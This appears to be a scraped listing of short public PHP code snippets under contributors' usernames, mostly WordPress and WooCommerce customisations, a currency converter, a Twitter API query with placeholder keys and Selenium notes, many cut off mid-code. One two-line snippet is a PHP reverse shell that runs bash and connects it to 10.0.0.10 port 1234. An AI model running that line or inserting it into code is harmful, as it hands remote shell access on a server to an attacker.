DevinWalker

/**
 * Optimize WooCommerce Scripts
 * Remove WooCommerce Generator tag, styles, and scripts from non WooCommerce pages.
 */
add_action( 'wp_enqueue_scripts', 'child_manage_woocommerce_styles', 99 );

function child_manage_woocommerce_styles() {
	//remove generator meta tag
	remove_action( 'wp_head', array( $GLOBALS['woocommerce'], 'generator' ) );

nikolov-tmw

<?php 
/**
 * Plugin Name: Multiple Roles per User
 * Description: Allows anyone who can edit users to set multiple roles per user. In a default WordPress environment that wouldn't have much of an effect, since the user would have the privileges of the top-privileged role that you assign to him. But if you have custom roles with custom privileges, this might be helpful.
 * Version: 1
 * Author: nikolov.tmw
 * Author URI: http://paiyakdev.com/
 * License: GPL2
 */
/*

dcblogdev

<?php
function convertCurrency($amount, $from, $to){
	$data = file_get_contents("https://www.google.com/finance/converter?a=$amount&from=$from&to=$to");
	preg_match("/<span class=bld>(.*)<\/span>/",$data, $converted);
	$converted = preg_replace("/[^0-9.]/", "", $converted[1]);
	return number_format(round($converted, 3),2);
}

echo convertCurrency("10.00", "GBP", "USD");

ValentinH

function queryTwitter($search) 
{
    $url = "https://api.twitter.com/1.1/search/tweets.json";
    if($search != "")
        $search = "#".$search;
    $query = array( 'count' => 100, 'q' => urlencode($search), "result_type" => "recent");
    $oauth_access_token = "ABCD";
    $oauth_access_token_secret = "1234";
    $consumer_key = "abcd";
    $consumer_secret = "5678";

corsonr

<?php

//Display Fields
add_action( 'woocommerce_product_after_variable_attributes', 'variable_fields', 10, 3 );
//JS to add fields for new variations
add_action( 'woocommerce_product_after_variable_attributes_js', 'variable_fields_js' );
//Save variation fields
add_action( 'woocommerce_process_product_meta_variable', 'save_variable_fields', 10, 1 );

/**

aczietlow

Webdriver PHP API workthough

• Open a browser

  # start an instance of firefox with selenium-webdriver
  
  $browser_type = 'firefox'
  $host = 'http://localhost:4444/wd/hub'
  

$capabilities = array(\WebDriverCapabilityType::BROWSER_NAME => $browser_type);

rshipp

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

leereamsnyder

<?php
/** 
 Re-use some existing WordPress functions so you don't have to write a bunch of raw PHP to check for SSL, port numbers, etc
 
 Place in your functions.php (or re-use in a plugin)

 If you absolutely don't need or want any query string, use home_url(add_query_arg(array(),$wp->request));
 
 Hat tip to:
  + http://kovshenin.com/2012/current-url-in-wordpress/

elitteral

/* 
 *  Divi WordPress Theme and WooCommerce plugin
 *  Make the Add To Cart buttons appear on the WooCommerce shop page. 
 */
 
add_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 20 );

bekarice

<?php // ONLY COPY THIS LINE IF NEEDED!

/**
 * Adds the ability to sort products in the shop based on the SKU
 * Can be combined with tips here to display the SKU on the shop page: https://www.skyverge.com/blog/add-information-to-woocommerce-shop-page/
 *
 * @param array $args the sorting args
 * @return array updated args
 */
function sv_add_sku_sorting( $args ) {